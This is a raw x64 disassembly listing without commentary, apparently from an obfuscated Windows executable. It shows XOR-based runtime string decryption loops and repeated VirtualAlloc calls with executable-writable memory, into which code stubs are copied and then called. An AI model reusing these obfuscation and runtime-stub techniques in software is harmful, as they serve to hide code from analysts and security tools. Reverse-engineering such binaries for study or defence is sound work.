shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1401fb310
cmp r9d, 0x1e
jge 0x1401fb4ef
movsxd rax, r9d
lea r10, [rbp + 0x100]
add r10, rax
nop
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x3b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x1401fb4a0
lea rax, [rbp + 0x100]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140284430]
test rax, rax
je 0x1401fb56e
xor edx, edx
lea r8, [0x14023a550]
cmp rax, r8
je 0x1401fb55d
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x284430]
test rax, rax
jne 0x1401fb545
jmp 0x1401fb56e
mov r8, qword [rbx + rdx*8 + 0x283de0]
test r8, r8
jne 0x1401fb656
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401fb62e
lea rax, [0x14023a550]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fb5a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283aa0]
lea rcx, [0x14023a550]
mov qword [rbx + rax*8 + 0x284430], rcx
mov qword [rbx + rax*8 + 0x283de0], r8
inc rax
mov qword [0x140283aa0], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f5e50]
call r8
nop
mov dword [rsp + 0x40], 0x320
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140284100]
test rax, rax
je 0x1401fb6db
xor edx, edx
lea r8, [0x14023a580]
cmp rax, r8
je 0x1401fb6ca
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x284100]
test rax, rax
jne 0x1401fb6b2
jmp 0x1401fb6db
mov r8, qword [rbx + rdx*8 + 0x2863e0]
test r8, r8
jne 0x1401fb7c6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401fb79e
lea rax, [0x14023a580]
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fb710
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284750]
lea rcx, [0x14023a580]
mov qword [rbx + rax*8 + 0x284100], rcx
mov qword [rbx + rax*8 + 0x2863e0], r8
inc rax
mov qword [0x140284750], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
mov rax, qword [str._XSalgIHQ8705M]
mov qword [rsp + 0x40], rax
mov r12d, dword [0x140280090]
cmp byte [0x14026df6f], 0
je 0x1401fb9c8
xor r9d, r9d
cmp r12d, 2
jl 0x1401fb978
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm10
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x40]
xorps xmm2, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm4, xmmword [0x1402701c0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
jmp 0x1401fb9c8
lea r10, [rsp + 0x40]
nop dword [rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x3b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x1401fb980
lea rax, [rsp + 0x40]
nop dword [rax]
inc r15
cmp byte [rax + r15], 0
jne 0x1401fb9d0
mov rcx, qword [rbp + 0x130]
sub r13, rcx
cmp r13, r15
jb 0x1401fbff6
lea rax, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rax, qword [rbp + 0x120]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14023da50
nop
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rax, qword [rsp + 0x48]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], rax
mov r15, qword [rax]
xor r15, rdi
mov qword [rbp + 0x100], r15
xor r13d, r13d
mov qword [rax], r13
mov ecx, r13d
mov rax, qword [0x140287090]
test rax, rax
je 0x1401fbaa9
mov edx, r13d
nop
cmp rax, r14
je 0x1401fba98
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x287090]
test rax, rax
jne 0x1401fba80
jmp 0x1401fbaa9
mov r8, qword [rbx + rdx*8 + 0x285700]
test r8, r8
jne 0x1401fbb8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401fbad2
mov r8, r13
jmp 0x1401fbb6e
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fbae0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283160]
mov qword [rbx + rax*8 + 0x287090], r14
mov qword [rbx + rax*8 + 0x285700], r8
inc rax
mov qword [0x140283160], rax
lea rdx, [rbp + 0xe0]
lea rcx, [fcn.1401f5e50]
call r8
nop
xor r15, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r15
lea rcx, [rsp + 0x48]
call fcn.140238700
movups xmm0, xmmword [str.IXXa____ose]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14026e608]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14026e618]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14026e628]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14026e630]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14026e634]
mov word [rbp - 0x34], ax
movzx eax, byte [0x14026e636]
mov byte [rbp - 0x32], al
mov r9d, r13d
cmp r12d, 2
jl 0x1401fbdb1
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp - 0x6c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1401fbc30
cmp r9d, 0x3f
jge 0x1401fbe0f
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x3b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1401fbdc0
lea rax, [rbp - 0x70]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
lea r12, [rbp + 0x1f8]
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], r12
mov r14, qword [r12]
xor r14, rdi
mov qword [rbp + 0x100], r14
mov qword [r12], r13
mov ecx, r13d
mov rax, qword [0x140284430]
lea r15, [0x14023a550]
test rax, rax
je 0x1401fbe8d
mov rdx, r13
cmp rax, r15
je 0x1401fbe7c
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x284430]
test rax, rax
jne 0x1401fbe64
jmp 0x1401fbe8d
mov r8, qword [rbx + rdx*8 + 0x283de0]
test r8, r8
jne 0x1401fbf6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401fbeb6
mov r8, r13
jmp 0x1401fbf4e
mov rax, r15
mov rcx, r8
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x1401fbec0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283aa0]
mov qword [rbx + rax*8 + 0x284430], r15
mov qword [rbx + rax*8 + 0x283de0], r8
inc rax
mov qword [0x140283aa0], rax
lea rdx, [rbp + 0xe0]
lea rcx, [fcn.1401f5e50]
call r8
nop
xor r14, rdi
mov qword [r12], r14
lea rcx, [rbp + 0x120]
call fcn.140238700
nop
xor rdi, qword [rbp - 0x78]
lea rax, [rbp + 0x1f8]
mov qword [rax], rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rsp
call fcn.14025d7c0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401f2df0
nop
call fcn.1401f2df0
int3